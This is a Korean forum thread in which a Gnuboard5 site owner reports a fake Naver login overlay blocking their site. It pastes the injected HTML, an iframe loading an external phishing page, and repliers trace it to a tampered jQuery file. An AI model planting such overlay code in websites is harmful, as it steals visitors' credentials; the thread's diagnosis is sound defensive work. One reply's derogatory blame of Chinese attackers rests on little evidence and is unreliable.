홈페이지 접속시 NAVER 로그인 창이 뜹니다.
본문
그누보드5를 쓰고 있습니다. 오늘 갑자기 어떤 이유에서인지 홈페이지 접속시 NAVER 로그인 창이 뜹니다. 로그인 하지 않으면 페이지에 접근이 되지 않습니다.
PC(크롬, 엣지), 및 모바일(크롬)에서 이 현상이 나타납니다. IE에서는 이 현상이 나타나지 않습니다.
크롬브라우저에서 검사(F12)를 실행했을 때 페이지 끝부분에 다음과 같은 코드가 보입니다.
<div class="layui-layer-shade" id="layui-layer-shade1" times="1" style="z-index: 19891014; background-color: rgb(0, 0, 0); opacity: 0.7;"></div>
<div class="layui-layer layui-layer-iframe" id="layui-layer1" type="iframe" times="1" showtime="0" contype="string" style="z-index: 19891015; width: 37%; height: 80%; position: absolute; top: 100px; left: 389.76px; visibility: visible;"><div id="naver" class="layui-layer-content" style="height: 100%;"><iframe scrolling="auto" allowtransparency="true" id="layui-layer-iframe1" name="layui-layer-iframe1" onload="this.className='';" class="" frameborder="0" src="//loviews.github.io/login.html" style="height: 100%;"></iframe></div><span class="layui-layer-setwin"></span><span class="layui-layer-resize"></span></div>
<div class="layui-layer-move" id="layui-layer-move"></div>
답변 2
저도 같은 경우였습니다.
어떻게 홈페이지에 저걸 심었는지 모르겠습니다.
결과적으로 저건 계정 해킹으로 보입니다.
만약 저걸로 네이버 아이디 패스워드 입력하셨다면 네이버 계정 변경을 하세요
ftp에 jquery를 변경한 것으로 보입니다.
js 폴더에서 아래 파일이 추가 된거 확인 가능할거에요
여기에 가짜 네이버 창이 뜨도록 만든거 같아요
기존 파일과 비교해 보니
아래와 같이 이상한 코드가 추가되어 있어요
로그인 부분에서 프레임 소스보기 해보면 어마어마한 자바스크립트가 나오네요
請再確認一下ID或密
請你輸入密碼!
id 또는 비번을 재확인 하라는 둥 비번을 입력하라는 둥 저런 중국어가 나온 것으로 보아 중국넘들 소행이군요 ㅋ
답변을 작성하시기 전에 로그인 해주세요.